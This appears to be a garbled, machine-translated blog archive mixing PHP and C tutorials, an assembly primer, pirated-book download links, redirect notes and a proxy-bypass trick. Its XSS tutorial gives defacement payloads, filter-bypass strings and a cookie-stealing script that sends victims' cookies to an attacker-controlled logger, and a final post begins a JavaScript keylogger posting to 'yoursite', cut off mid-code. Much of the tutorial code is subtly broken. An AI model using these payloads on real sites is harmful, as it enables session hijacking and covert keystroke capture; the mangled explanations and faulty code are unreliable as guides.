Last Update

Showing posts with label Script. Show all posts
Showing posts with label Script. Show all posts

Object-oriented Programming Techniques With Php

Introduction
This tutorial starts from my experience watching my friends at university
the learning object-oriented programming. But they did not understand the way
what & how the object-oriented programming. This happened to me
probably due to too many theories but little or even no example
concrete so that they are confused.
So in this tutorial I tried to give an explanation as possible
and more with concrete examples so it is easy to understand. This tutorial
introduce you to the object-oriented programming (Object Oriented
Programming) by using PHP5.
This tutorial requires a lot of improvement, therefore, if you have
questions or input for the improvement of this tutorial, please send an email to author
the gerrysabar (at) gmail.com. Input you provide is very useful
for the development of this tutorial to better & useful.

What is OOP?
Or object-oriented programming in English is called the Object
Oriented Programming (hereinafter abbreviated as OOP) is a programming technique that
using the object. This object-oriented programming has the ability to
hide what is not important for its users. In this short tutorial
I use PHP5 because PHP5 has a feature-oriented programming
objects are more complete than previous versions.
Why should use OOP?

If you make a small-scale program of course the obvious benefit of this OOP
less felt. But when a project program medium to large scale
it will show how important the use of OOP.
Perhaps you are thinking right now after all the new beginners learn to create what if OOP OOP
more shown in the project program making medium to large scale.
Maybe for now for those of you who are still novices in programming yet
feels, but if you are from now has a good basic understanding
about OOP then when it came time for you to deepen your OOP
already have preparation.
Therefore, in this tutorial I did not even make you become an expert in
OOP. This tutorial is more indicated that you have a good understanding
about OOP.

Creating Objects
An initial step in OOP is the making of objects where the object itself comes
class. Therefore let us first make the class. To create a class in
in PHP you use the keyword class. In the next example we will
create a class Emailer.

<?php
class Emailer
{}
?>

In the above example we create a class called Emailer. In making
class, first we use the class keyword followed by the name
class. Then end with curly braces. Inside the curly braces we
write down the codes so that these classes work as we want.
As you can see, in the example code above we do not enter codes
anything that Emailer class is not doing any work.
Existing code in the class is divided into two groups, namely property and
method. Property is a storage container in the classroom that can
accommodate the information. The simple property can be referred to as a variable in
in the classroom. While the method is a function in the classroom. Now
Let us give a property and two-class method in Emailer.
Thus, the code would look like:

<?php
class Emailer
{
private $EmailAddress; //property
public function getEmailAddress() //method
{
echo $this->$EmailAddress
}
public function setEmailAddress()
{
$this->$EmailAddress;
}
}
?>

For now ignore the keyword public first, private, and $ this is seen
in the code above. We'll discuss it later. In the above example we
add a property named emailaddress that will be used
to accommodate e-mail address. Then we also added two
method, the first named getEmailAddress which serves to show
content emailaddress property. The second is a working setEmailAddress
to enter an email address to the property emailaddress.

Using Class
Class codes should be in the PHP script that uses these classes.
Often classes are created are stored in different files and then
inserted by using the keywords include when necessary in the script
PHP.
To use an object, you first must create the object of a class.
In this context the Emailer class. Creating an object from a class in
English is called instantiating. To make objects in PHP, we
using the new keyword. Setting the sentence is as follows::

$ObjeckName = new ClassName( );

In the following code we will create an object of class Emailer

<?php
class Emailer
{
private $EmailAddress; //property
public function getEmailAddress() //method
{
$this->$EmailAddress
}
public function setEmailAddress()
{
return $this->$EmailAddress;
}
}
//example make objeck in PHP
$emailerObject = new Emailer();
?>

Using Object
We have created a class and create objects from these classes. Now
let's experiment a little with the objects we have created. In code
just created, we have created a property and two class method
Emailer. To use an existing method on an object it must be
used operator -> which then followed with a method that would
used. Here is an example to use the method:

<?php
class Emailer
{
private $EmailAddress; //property
public function getEmailAddress() //method
{
return $this->$EmailAddress;
}
public function setEmailAddress($emailName)
{
$this->$EmailAddress = $emailName;
}
}
//example make objeck in PHP
$emailerObject = new Emailer();
//menggunakan method
$emailerObject->setEmailAddress(�username@example.com�);
echo $emailerObject->getEmailAddress();
?>

When the code is run it will display text on username@example.com
web browser screen. This is one example of object-oriented programming
simplest. Where you use an object in the PHP script
you.
Public and Private
Perhaps the earlier you have to wonder what the public & private
There Emailer class. Property and the existing method in the class can have
public or private nature (there is still one more that is protected, but will be discussed
the next tutorial).
What is the difference between the two? Private means the method or property in
in a class can only be accessed in the class. While the method or
which are public property means the method or property can be accessed at
within and outside the classroom. In the previous code example, we see property
EmailAddres is private. Now we try to property is accessed from outside
emailerObject object, so the code would look like the following:

<?php
class Emailer
{
private $EmailAddress; //property
public function getEmailAddress() //method
{
return $this->$EmailAddress;
}
public function setEmailAddress($emailName)
{
$this->$EmailAddress = $emailName;
}
}
//example make objeck in PHP
$emailerObject = new Emailer();
//mengakses property dari luar objek
$emailerObject->EmailAddress = "username@example.com";
?>

When the code above is run will display the following error message:
Fatal error: Can not access private property Emailer:: $ emailaddress in
C: \ xampp \ htdocs \ gerry \ practice \ test.php on line 21
Consider changing your emailaddress become public property, then run the code again,
then the error message will not appear.

Encapsulation
Encapsulation or in English known as encapsulation is
mechanism to bind the code with the data so that the code dimanipulasinya
and the data contained within it safe from outside interference. Combining the data and
method in a class is called encapsulation. In the previous code example
you just do encapsulation:

<?php
class Emailer
{
private $EmailAddress; //property
public function getEmailAddress() //method
{
return $this->$EmailAddress;
}
public function setEmailAddress($emailName)
{
$this->$EmailAddress = $emailName;
}
}
//example make objeck in PHP
$emailerObject = new Emailer();
?>
$this

Now we are at the end of this short tutorial. Last discussions
is the operator $ this. In a class, $ this is a special variable
to access an existing property in the class being used. $ this
can not be used outside the classroom. Use $ this format is as follows:
$ this-> namavariabel
encapsulation
In sebelunya sample code, the class has a property emailaddress Emailer. You
emailaddress can access the following property:
$ this-> emailaddress
By using $ this to access the property, you can perform various
operations against the emailaddress as follows:
$ this-> emailaddress = "example@example.com";
$ this-> emailaddress = $ UserEmail;
ArrayEmail [$ this-> emailaddress] = $ UserEmail;
Note the dollar sign ($), when you begin using the variable name
variable with a dollar sign. In the example above $ UserEmail. But when
use $ this-> then the variable or property can not use sign
dollars. Such errors often occur at PHP programmers who are still
beginners. But with consistent training, basic errors like this will
disappear by itself.

Method
Method defines what can be done by the object. This method is made in
in the classroom. Easy method is a function (function) in the classroom or
object. In the previous code example you've created two method of
getEmailAddress and setEmailAddress.
To use the method, just as you must use the property
operator -> that the previous code example when you use the method
getEmailAddress and setEmailAddress, the code you typed is as
follows:
$ emailerObject-> setEmailAddress (username@example.com);
echo $ emailerObject-> getEmailAddress ();

Exercise
1. What is object-oriented programming?
2. Mention the difference between classes and objects!
3. Create a class, then create an object and also create a property
and two method in the class.
4. What is the difference between public and private property or in the method?
5. State the purpose $ this!

Closing
Finally tutorial introduction of this object-oriented programming has been completed.
After you finish studying this tutorial, you should begin to understand:
1. What is object-oriented programming.
2. What is the object and class.
3. Making objects & classes in PHP.
4. How to make the nature of an object.
In the next tutorial I intend to discuss:
1. Inheritance (inheritance).
2. Polimorphisme (polymorphism).
3. Constructor
4. Destructor
5. and much more.
If you have any input should be included in the next tutorial,
please send an email to the author. Hopefully this tutorial useful for you!

Simple Program C + +

Okay this time I tried to talk about a lot programming language in use today, the programming language c + +.
Many of the notion of this programming language .. If you are diligent you can find on google.

Here I try to share some basic programs from c + +.


Simply ..

1. Magic Square

#include<stdio.h>
#include<conio.h>

void main() {
int kolom,baris,n,spasi;
do {
clrscr();
gotoxy(15,2); printf("Program Persegi Ajaib Punyaku");
gotoxy(3,5);
printf("Masukkan Panjang Sisi : "); scanf("%d",&n);
gotoxy(3,7); printf("Persegi dengan panjang sisi %dnn",n);
for(baris=1;baris<=n;baris++)
{ printf("* "); }

printf("n");

for(kolom=1;kolom<=n-2;kolom++)
{ printf("*");
for(spasi=1;spasi<=n*2-3;spasi++)
{ printf(" "); }
printf("*n");
}

for(baris=1;baris<=n;baris++)
{
printf("* ");
}
gotoxy(3,23); printf("tekan tombol "y" untuk mengulang");
gotoxy(3,24); printf("tekan sembarang tombol untuk keluar");
}
while(getch()=='y');
}



2. Factorial

#include<stdio.h>
#include<conio.h>

long faktor(int n)
{
if(n==0)return 1;
else return n*faktor(n-1);
}

void main()
{

int n;

printf("masukkan n : ");
scanf("%d",&n);
printf("n faktorial=%d ",faktor(n));

getch();
}


3. Reversing the words with strrev

#include<stdio.h>
#include<conio.h>
#include<string.h>
#include<stdlib.h>

void main()
{

char a[10];

printf("Masukkan kata: ");
gets(a);

strrev(a);


printf("Jika dibalik menjadi : %s",a);



getch();
}


4. Binary search tree

#include <stdio.h>
#include <conio.h>
#include <malloc.h>

struct data{
int angka;
struct data *left, *right;
}*root = NULL;

void menu(void){
gotoxy(1,23); printf("+ to insert");
gotoxy(40,23); printf("- to seek and destroy");
gotoxy(1,24); printf("Esc to Exit");a
}

void insert (struct data **p, int angka, int level){
level += 1;
if( level < 6){
if( (*p) == NULL ){
(*p) = (struct data *) malloc (sizeof (struct data) );
(*p) -> angka = angka;
(*p) -> left = (*p) -> right = NULL;
}
else if( angka < (*p)-> angka ){
insert(& (*p) -> left, angka, level);
}
else if( angka > (*p)-> angka ){
insert(& (*p) -> right, angka, level);
}
}
else{
textcolor(14);
gotoxy(1,25); cprintf("Level Tree telah mencapai Maksimum");
textcolor(7);
getch();
}
}

void clearall (struct data *p){
if(p==NULL) return;
clearall(p -> left);
clearall(p -> right);
free(p);
}

void cetak(struct data *p, int x, int y, int j){
if(p == NULL) return;
gotoxy(x,y);
printf("%d", p-> angka);

cetak(p -> left, x-j, y+2, j/2);
cetak(p -> right, x+j, y+2, j/2);
}

void preorder(struct data *p){
if(p==NULL) return;

printf("%d ", p->angka);
preorder(p -> left);
preorder(p -> right);
}

void inorder(struct data *p){
if(p==NULL) return;

inorder(p -> left);
printf("%d ", p->angka);
inorder(p -> right);
}

void postorder(struct data *p){
if(p==NULL) return;

postorder(p -> left);
postorder(p -> right);
printf("%d ", p->angka);
}

void print_order(void){
gotoxy(1,19); printf("PreOrder : "); preorder(root);
gotoxy(1,20); printf("InOrder : "); inorder(root);
gotoxy(1,21); printf("PostOrder : "); postorder(root);
}

void seekndestroy(struct data *p, int angka){
if( p == NULL) return;
else if( angka < p -> angka){
if( p -> left -> angka == angka){
clearall (p -> left);
p -> left = NULL;
}
else{
seekndestroy( p -> left, angka);
}
}
else if( angka > p -> angka){
if( p -> right -> angka == angka){
clearall (p -> right);
p -> right = NULL;
}
else{
seekndestroy( p -> right, angka);
}
}
}

void main(){
int tekan, angka;
do{
clrscr();
menu();
cetak(root, 40, 2, 20);
print_order();
tekan = getch();
switch(tekan){
case '+' : gotoxy(1,16); printf("Masukkan Angka : ");
scanf("%d",&angka);
insert(&root, angka,0);
break;

case '-' : gotoxy(1,16); printf("Masukkan Angka : ");
scanf("%d",&angka);
if(root == NULL){
textcolor(14);
gotoxy(1,25); cprintf("Tidak ada Data yang bisa dihapus");
textcolor(7);
getch();
}
else if(angka == root -> angka ){
textcolor(14);
gotoxy(1,25); cprintf("Root Tidak Boleh Dihapus");
textcolor(7);
getch();
}
else if(root !=NULL){
seekndestroy(root, angka);
}
break;
}
}while(tekan != 27);
clearall(root);
}


5. Buble sort user

#include<stdio.h>
#include<conio.h>

void main(){
int bil[5]={5,3,2,1,4};
int j,i,temp;
for(i=0;i<5;i++)
scanf("%d",&bil[i]);
for(j=0;j<4;j++)
{for(i=0;i<4-j;i++)
{if(bil[i]>bil[i+1])
{temp=bil[i];
bil[i]=bil[i+1];
bil[i+1]=temp;
}
}
}
for(i=0;i<5;i++)
printf("%d ",bil[i]);
getch();
}



6. Febonancy

#include<stdio.h>
#include<conio.h>

int fib(int n)
{
int f;
if (n==0)f=0;
else if(n==1)f=1;
else f=fib(n-2)+fib(n-1);
return f;

}

void main()
{
int n;

printf("masukkan n: ");
scanf("%d",&n);

printf("bilangan fibonacci dari %d = %d",n,fib(n));

getch();
}


7. Addition crane square

#include<stdio.h>
#include<conio.h>

int jumlah(int n)
{

if(n==1)return 1;
else return (n*n)+jumlah(n-1);

}

void main()
{

int n,i;
printf("n= ");
scanf("%d",&n);
i=jumlah(n);
printf("%d jumlah= %d",n,i);

getch();
}


8. The hypotenuse, and mobile segments

#include<stdio.h>
#include<conio.h>
#include<math.h>

void main()
{

float a,t,r,K,L;


scanf("%f%f",&a,&t);

r=sqrt(a*a+t*t);

K=a+r+t;

L=(a*t)/2;

printf("r=%.2f, K= %.2f, L= %.2f",&r,&K,&L);

getch();
}



For the compiler you can download it here

http://www.ziddu.com/download/3185904/devcpp-4.9.9.2_setup.exe.html

jika anda ingin c++ sourcecode anda dapat mendownload di sini.

http://www.junkelsee.tk/p/c-sourcecode.html

XSS Tutorial

Section 1 - Understanding XSS
"CSS", also known as "xss" (confused with Cascading Style Sheets Cross Site Scripting) is an open web applications often encountered. attacker to add malicious code xss recognizes opportunities. many types is possible xss attacks. Now here I stand on the most widely used 3 of them will.
I want to talk about the first round of attacks xss URL. This method will not remain on the page xss means. Xss in this case, just get the code and press "submit" we will try to. How we use our own benefit so that more will be mentioned.

The second attack is in the input field. Where would you add Data Add xss often. As an example, using a search engine, we find a great site. Search box "hacker", and he's started. If a page is loaded class that "hacker" found 100 results for the data displayed on the page will see. The case now or run the code? This attack is not possible to run PHP code in HTML and Javascript code to run, but it is possible. In the meantime, make sure this method will not stay on the server.

Third attack method, this method can be added with the code and the code on the site will be permanent. Running PHP and HTML code have two types that are connected. If we inject the same HTML as if we can inject PHP. This kind of attack is usually blogs and profile. Forums and the most you can add data rather than stay in the area where no data are included. HTML, PHP is very different. HTML on your computer, "download" is it in your browser and solutions (and therefore may view page source). With PHP code, which is hosted on the server script is parsed, then the data is sent back to the browser. PHP injection is extremely rare for this condition. Note: PHP code can never be injected into the HTML page.


Section 2 - Finding XSS Open

To find this open blogs, Forums, Shout boxes, comment boxes and you can start by trying search box. In fact, it is possible to give more examples here, nor mentioned.
Google can be used to more easily find Dorks. As an example, by typing google.com inurl: "search.php? Q =" You can write. Now this is a page that can be found very common and many results can be obtained. Attack to find more go to my other plenty. Also note that most of the site's xss vulnerability and a good eye and a bit to find it in the filter to have information about how to do bypass is enough.

Chapter 3 - Basic Concepts on xss

Now the most commonly used to learn from the most common xss to get started.
The most common one <script>alert("xss")</script>.

This code "xss" without the quotation marks, easily editable tab a "popup" warning will.
Therefore, assuming that you mentioned action Remember return to the previous issue, we search.php? Q = a web site that simply can try on.
=<script> http://site.com/search.php?q alert("xss")</script>

It probably will work, but still does not work, no problem, look at the different sites, although you can experiment with variations. (Too many people, just add HTML is not Javascript aware that they do not think)

<br> <b> <u> http://site.com/search.php?q = xss </ u> </ b>

If the text is written in bold font and news are open if you push on relevance, and now I know that later we will explain methods you can use.

Chapter 4 - Attack Methods

Yes, now how does it work xss learned it, now we can explain some xss Deface methods. There are many methods that can be used to Deface the most effective and most common of them and I'll stand on.

IMG SRC The first one. For who do not know HTML IMG SRC, the official web site link's he used to show the tags.

<html> <body> <IMG src= "http://site.com/yourDefaceIMAGE.png">

Link link with a picture if the current changes, record and will run better understand what I mean.
Now let's say Shout box, Comment box or you've entered your data and confirm, after entering the data that you have found any place showing. Given below have to show picture on the page then I can add a link.
<IMG Src= "http://site.com/yourimage.png">

Do not need them because the page already contains other tags.
This enables your image to appear larger and the site is clearly hacked.
Another method is the use of flash video. The following methods are the same but with a little more different is a way.

<EMBED Src= "http://site.com/xss">
Here, the flash video itself will be executed links.
Pop or routing may be used or
<script> window.open ( "http://www.google.com/" )</script>

Chapter 5 - Cookie (Cookie)

Let cookie in logger's site. Now we obtain the file and upload a.php shaped our files are. Log.txt file to create Do not forget to chmod 777 var. Now in any attack, we can perform, a site which is open xss found. Now add the water code;

window.location = "cookie http://yourserver.co...kielogger.php?c ="+<script>.
or
<srcipt>. location = "cookie http://yourServer.co...kielogger.php?c ="+</script>.

Then if you visit the site if the user will be eaten cookie logger. The required information has been sent to the site and cookies will be stolen. The second part is a more clandestine. Add to your file, and then the user's session cookies for the forward. But if you say that such an attack or the possibility of our site, but only the data shows a time and does not hide it? Let us say that we search.php? Q = I in our hands a page, we use the code below and maybe we can get him a malicious url hex code, and people probably will base64 encode it

=<script>. http://site.com/search.php?q location = "http://yourServer.com/cookielogger.php?c ="+</script> . cookie

Section 6 - Filtering Process to bypass

On most sites, there may seem hungry, but the code does not run, you better make a note of this section to solve. Used to bypass filtering process, some common methods;

') alert (' xss');
or
"); alert ( 'xss');

They are open on a server with this code <script>alert("xss")</script> they do the same thing. Data to confirm before you can try to Hexing or base 64 encoding. Be sure to water issues; xss's to test ( "xss") to use caution at all to do a good method is not practical because of the sites that I block letters xss know.
Other ways to bypass filtering;

<script Type = text / javascript>alert("PlanetCreator")</script>
<script>alert( "PlanetCreator")</script>;
<script>alert( PlanetCreator");</script>
<script>alert( PlanetCreator"/)<script>
There <script> var = 1; alert (var )</script>


Chapter 7 - Advanced Level xss

This section discusses the main methods which I will examine the firm that is used even more of myself I did not find any ways, I'm sure you will like."Magic Signals" is hungry and therefore use some commands I have seen many sites that make unnecessary. However, using fractions, a technique I met them ASCII's turn.

Necessary functions to convert the fractional numbers ASCII's a table containing all
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion site can be found. What you want to print this table will help you to write it.

80 108 97 110 101 116 67 114 101 97 116 111 114

Yes, now we get string's decimal values, the things we need to know what function it into Javascript.

String.fromCharCode()

This code is suitable for this kind of thing, installation is easy. We give the following from my own argument.

String.fromCharCode (80 108 97 110 101 116 67 114 101 97 116 111 114)

Yes now
"String.fromCharCode (80 108 97 110 101 116 67 114 101 97 116 111 114)"
"PlanetCreator" expression JAVA (ASCII) are in the tab.

And icons for use with this warning, etc. do not need anything because it already serves as the variable itself.

alert (String.fromCharCode (80 108 97 110 101 116 67 114 101 97 116 111 114))

Now in this case "PlanetCreator" tab will show. And this method is called the magic mark is a number in the bypass cursors.
Before continuing to the next section, again using another method of variables than I would like to talk about.
Let's write something to say;

var myVar = 1
myVar longer a tab of saying here are 1.

To use our own favor xss's variables, we can write as follows;

There <script> myVar = 1; alert (myVar )</script>
Here, the variable contents of any sign (quote) without the use will be displayed.


Chapter 8 - xss safety

This section is intended for web developers. How to prepare the code you can make it I will talk about security.
If found to open script' xss URLs, you secure is very simple. Take a look at the following code to tell;
if (isset ($ _POST [ 'form'])){ echo "<html> <body>". $ _POST [' form ']. "</ body> </ html>"

Let's say that $ _POST [ 'from'] variable, and the leak was coming from any input dialog box have been exposed to xss attack. To ensure the security of the latter method is very simple;

$ charset = 'UTF-8', $ data = htmlentities ($ _POST [ 'form'], ENT_NOQUOTES, $ charset);
if (isset ($ data)) (echo "<html> <body>". $ data. "</ body> </ html>"

This line of code will be possible and all of them Share

Coding Assembly in Linux

Assembly nowadays is a hard thing to learn, not because it's difficult but
because people thinks that there is no reason to learn assembly! That's
not true... With assembly you can have total power above the computer, and
know exactly what he's doing. Try to remember that while trying to learn!
You may wondering: Why to read this tut? Good point... There are thousands
of papers for programming assembly in x86. That's true... But did they
teach you how to make apps for linux? Did they talked about linux
interrupts? I don't think so... There are many tutorials about programming
assembly for x86 in dos and windows, but very few on linux. I want to
change that. So this is the first issue of a collection of papers about
that. If you find that this paper has any error, please contact me and let
me know.

##### Index #####

1. Numbering systems
1.1. Decimal system
1.2. Binary system
1.2.1. Converting a binary number to a decimal number
1.2.2. Converting a decimal number to a binary number
1.3. Hexadecimal system
1.4. Conventions
2. Binaries in computers
2.1. Bit
2.2. Nibble
2.3. Byte
2.4. Word
2.5. Double word

###################### 1. Numbering systems ######################

1.1. Decimal system

Nowadays we use the decimal numbering system in almost everything that is
related to numbers. We use it so often and in a natural way that we forget
it's meaning. What is decimal system?

. Every decimal number, has only digits between zero and nine,
making a total of 10 digits
Note: how many fingers do you have? ...10. In fact the decimal
system is bound to human anatomy.
. Ok, and what is the meaning of each digit? Consider the
following numbers: 234 and 234,43
We do some transformations
-> 234 i.e. 200 + 30 + 4 i.e. 2 * 10^2 + 3 * 10^1 + 4 * 10^0
-> 234,43 = 2 * 10^2 + 3 * 10^1 + 4 * 10^0 + 0,43 = 2 * 10^2 + 3 *
10^1 + 4 * 10^0 + 4 * 10^-1 + 3 * 10^-2
Do you see the relation? Each digit appearing to the left of the
decimal point represents a value between zero and nine times an increasing
power of ten. Digits appearing to the right of the decimal point represent
a value between zero and nine times a decreasing power of ten.

1.2. Binary system

Binary system uses only two digits, by convention the digits are 0 and 1.
This system is so widely used in computers... By coincidence or not this
system adjusts perfectly to computers... Computers operate using binary
logic. The computer represents values using two different voltage levels,
in this way we can represent 0 and 1. Like I said before the same applies
to binary system, it is well adjust to computer anatomy!

1.2.1. Converting a binary number to a decimal number
Apply the same rule we saw in 1.1, but with powers of two.
Example: 1010 -> 1 * 2^3 + 0 * 2^2 + 1 * 2^1 + 0 * 2^0 = 10
1.2.2. Converting a decimal number to a binary number

We have two ways to do it:

1.2.2.1 We consecutively divide the decimal value by a power
two(keeping the remainder), while the result of the division is different
than zero. The binary representation is obtained by the sequence of
remainders in the inverse order of the divisions.

Consider the number 10(in decimal):

10 / 2
0 5 / 2
1 2 / 2
0 1 / 2
1 0

So in binary we write 1010

1.2.2.2 You can try to find out the number by adding powers of two,
that added will produce the decimal result.

Consider for example number 123... hmmm it's a number not less than 2^0
and not greater then 2^7. Cool…

2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0
0 1 1 1 1 0 1 1 because 1 * 2^6 + 1 * 2^5 + 1 *
2^4 + 1 * 2^3 + 0 * 2^2 + 1*2^1 + 1 * 2^0
= 123
Our result is 1111011.

1.3. Hexadecimal system

You saw how many digits took to represent the number 123 in binary. 7
digits! Imagine 1200, 10000,... it hurts. So programmers had to choose
another numbering system, just to "talk" to the machine... and no... it's
not the decimal system!! You saw the trouble we had to convert one simple
number like 10 between decimal and binary... I think you don't want to
spend half of your life doing that. Engineers thought on that and they
elected the hexadecimal system... Hexadecimals is the "english" for
computers. They have two special features:
- They're very compact
- it's simple to convert them to binary and vice-versa. A
hexadecimal number has digits with a value between 0 and 15 times a
certain power of sixteen. Because we only know digits between 0-9 we have
to use six more digits! We can use the 6 first letters of the alphabet.
Let's see a example: FF = 15 * 16^1 + 15 * 16^0 = 255 (16) (10)

Converting between binary and hexadecimal is very easy! To convert binary
to hexadecimal remember that every four digits correspond to a single
hexadecimal digit... to convert back to binary just apply the inverse
rule! Let's take a look at the next example:

110 1011 = 0110 1011 =6B
(2) (16)

It's very easy!! To make things easier, take a look at the following
table:

################
# D # H # B #
################
# 0 # 0 # 0000 #
# 1 # 1 # 0001 #
# 2 # 2 # 0010 #
# 3 # 3 # 0011 #
# 4 # 4 # 0100 #
# 5 # 5 # 0101 #
# 6 # 6 # 0110 #
# 7 # 7 # 0111 #
# 8 # 8 # 1000 #
# 9 # 9 # 1001 #
#10 # A # 1010 #
#11 # B # 1011 #
#12 # C # 1100 #
#13 # D # 1101 #
#14 # E # 1110 #
#15 # F # 1111 #
################

1.4. Conventions

Programming in assembly, requires you to obey some rules when using
numbers, because you can use three different numbering systems.

When writing a number:

- all numbers have to start with a decimal digit
- all numbers end with a letter, indicating the type of number:
. for hexadecimals the letter is h
. binary numbers end with b
. decimals end with t or d We will use the following notation:

Xn Xn-1 ... X2 X1 -> Xi represents a bit, and i<-[0,1,...,n] represents
it's position.

PHP Game Programming


Paperback: 376 pages
Publisher: Course Technology PTR; 1 edition (February 24, 2004)
Language: English
ISBN-10: 159200153X
ISBN-13: 978-1592001538

PHP Game Programming offers you the introduction you need to begin creating your own online games. You'll be amazed at the games you can create with this powerful - and completely free - development tool! Dive right in as you begin with coverage of server configuration and the major features of PHP. Then you're off and running as you use PHP to create and manipulate graphics, develop a chess game using a non-relational database, and send and receive data through sockets. Put your new skills to use as you create your own massively multiplayer online game! From the basics of PHP and HTML to the exciting task of creating dynamic terrain and Flash movies, "PHP Game Programming" will help you turn your online game ideas into reality!

From the Publisher
Provides programmers with the tools and knowledge they need to get PHP running, create dynamic pages, manage data, dynamically generate graphics and even create sockets. Readers will walk away from this book as hard core web game developers with an advanced knowledge base beyond average web developers. Part of the succesful Game Development series, this book presents PHP game programming in a clear and concise manner to ensure ease of learning.

DownLoad
CODE
http://rapidshare.com/files/118232419/PHPGameProgramming.rar

File-Size: 2.25 MB

Anti Spam Scrips

Anti Spam scripts that will protect your forms to be submited by spammer's bots. Captcha (an acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart" ) is the most common and effertive spa, protction technique
Captcha is a type of challenge-response test used in computing to determine whether or not the user is human or spammer's robot. A CAPTCHA involves one computer (a server) which asks a user to complete a test. While the computer is able to generate and grade the test, it is not able to solve the test on its own. Because computers are unable to solve the CAPTCHA, any user entering a correct solution is presumed to be human.
Protect your forms from spammers with these free php spam protection scrips

I. DESCRIPTION

Image Validator is a GPL CAPTCHA php script to stop spam on any form: comment areas, sign-ups, shopping carts - any area of your website where you fear the evil spammers may target.


II. REQUIREMENTS

1. Apache 1 or 2
2. PHP 4 or 5
3. GD 2 with truetype support


III. INSTALLATION

0. Unpack this package.
1. You may edit _config.php file located in imgval directory.
2. You may copy some TrueType fonts in imgval/fonts directory.
2. Upload or copy imgval directory to browsable directory.
3. Open imgval/index.php in your browser for testing.


IV. INTEGRATION NOTES

In tag, 'src' parametter should be linked with imgval/code.php.

Example: .

To prevent cache images you may add some unique parameter.

Example: " />

Your should start a session in the response PHP file. In the valid action
PHP source code you should verify MD5 sum of the input-code-field-value
with session variable named __img_code__

Example:

if (md5($_POST['code']) == $_SESSION['__img_code__'])
echo "Valid code";
else
echo "Invalid code";

Free Arcade Script - PHP Script

ee Arcade script for your gaming site.

Full Arcade Script Features:

Admin Panel
» Add Game (Self hosted or enabled hosted)
» Manage Games (Edit/Delete)
» Add Category
» Manage Categories (Delete/Edit)
» Add Link
» Manage Links (Delete/Edit)
» Approve Comments (Delete/Approve)
» Site Settings

Frontend Features
» Categories
» Top Users
» Links
» Statics of website
» Ajax Rating
» Game Comments
» Most Played Games
» Newest Listed Games
» Search for Games

User Accounts
» Comment on Games
» Add games to favorites
» Change password

Server Requirements
» PHP 4+
» 1 MySQL Database



Script Details
Website:Home of Free Arcade ScriptPopular
Free Demo:Demo
Free Download:Download
Average Visitor Rating:4.76 (Out of 5)
Number of ratings:8
Hits:2552
Added:2009-01-12 04:14:54
Last updated:2009-01-12 04:18:25

301 Redirect

301 redirect is the most efficient and Search Engine Friendly method for webpage redirection. It's not that hard to implement and it should preserve your search engine rankings for that particular page. If you have to change file names or move pages around, it's the safest option. The code "301" is interpreted as "moved permanently".




Below are a Couple of methods to implement URL Redirection


IIS Redirect



  • In internet services manager, right click on the file or folder you wish to redirect

  • Select the radio titled "a redirection to a URL".

  • Enter the redirection page

  • Check "The exact url entered above" and the "A permanent redirection for this resource"

  • Click on 'Apply'


Redirect in ColdFusion


<.cfheader statuscode="301" statustext="Moved permanently">

<.cfheader name="Location" value="http://www.new-url.com">



Redirect in PHP



Header( "HTTP/1.1 301 Moved Permanently" );

Header( "Location: http://www.new-url.com" );

?>



Redirect in ASP


<%@ Language=VBScript %>

<%

Response.Status="301 Moved Permanently" Response.AddHeader "Location", " http://www.new-url.com"

>



Redirect in ASP .NET






Redirect Old domain to New domain (htaccess redirect)


Create a .htaccess file with the below code, it will ensure that all your directories and pages of your old domain will get correctly redirected to your new domain.

The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)


Options +FollowSymLinks

RewriteEngine on

RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]


Please REPLACE www.newdomain.com in the above code with your actual domain name.


In addition to the redirect I would suggest that you contact every backlinking site to modify their backlink to point to your new website.


Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.




Redirect to www (htaccess redirect)


Create a .htaccess file with the below code, it will ensure that all requests coming in to domain.com will get redirected to www.domain.com

The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)


Options +FollowSymlinks

RewriteEngine on

rewritecond %{http_host} ^domain.com [nc]

rewriterule ^(.*)$ http://www.domain.com/$1 [r=301,nc]


Please REPLACE domain.com and www.newdomain.com with your actual domain name.


Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.




How to Redirect HTML


Please refer to section titled 'How to Redirect with htaccess', if your site is hosted on a Linux Server and 'IIS Redirect', if your site is hosted on a Windows Server.


http://www.webconfs.com/

Go through a proxy server with IP Decimal

This is a trick to cut block the site from the ISP or cafe, or your office ...
but with a different trick ...
This is Poc ...

1. Open cmd
Start>> All Programs>> Accesories>> Command Prompt

2. type ping terblock to the site we see addressnya ip ...
I cite here http://www.youtube.com
because there are some ISP that block this site ...
Code: Select all
ping www.youtube.com

then we can see the ip addressnya namely:
we get the ip addressnya:

Code: Select all
208.177.236.70
3. enter this address to

Code: Select all
http://www.allredroster.com/iptodec.htm
we have made to decimal:

we see the results ...

Code: Select all
Decimal ip address of 208.177.236.70 is HTTP: / / 3497389126

4. After the meet move HTTP: / / 3497389126 devotion to your browser!
and the results:

see you succeed

5. This is a trick you can use in addition to the 4 trick ...

6. Wait for my next post is still with the same theme but a different tricks!

7. Many roads leading to Mecca (Prayer is my pilgrimage yee .. ha ... ha ..

Make Keylogger with javascript on the website

At this time I will discuss a bit about Javascript Keylogger.

Wow ... Moreover tuh, Google may be able to answer you questions.

Oke without many words directly aja yah ...

First, open notepad or a pet you like WordPad, Notepad ++... The point is up ...

Then paste the following code:


[+]----------------------------------------------- -------------------


var key ='';

var space = ''

function start ()

(

var xmlhttp;

if (window.XMLHttpRequest)

(

/ / Code for IE7 +, Firefox, Chrome, Opera, Safari

xmlhttp = new XMLHttpRequest ();

)

else if (window.ActiveXObject)

(

/ / Code for IE6, IE5

xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");

)

else

(

alert ( "Browser Support XMLHTTP You Not!");

)

xmlhttp.open ( "POST", "http://yoursite/open.php", true);

xmlhttp.send (null);

)

ajaxFunction function ()

(

var xmlhttp;

if (window.XMLHttpRequest)

(

/ / Code for IE7 +, Firefox, Chrome, Opera, Safari

xmlhttp = new XMLHttpRequest ();

)

else if (window.ActiveXObject)

(

/ / Code for IE6, IE5

xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");

)

else

(

alert ( "Your browser does not support XMLHTTP");

)

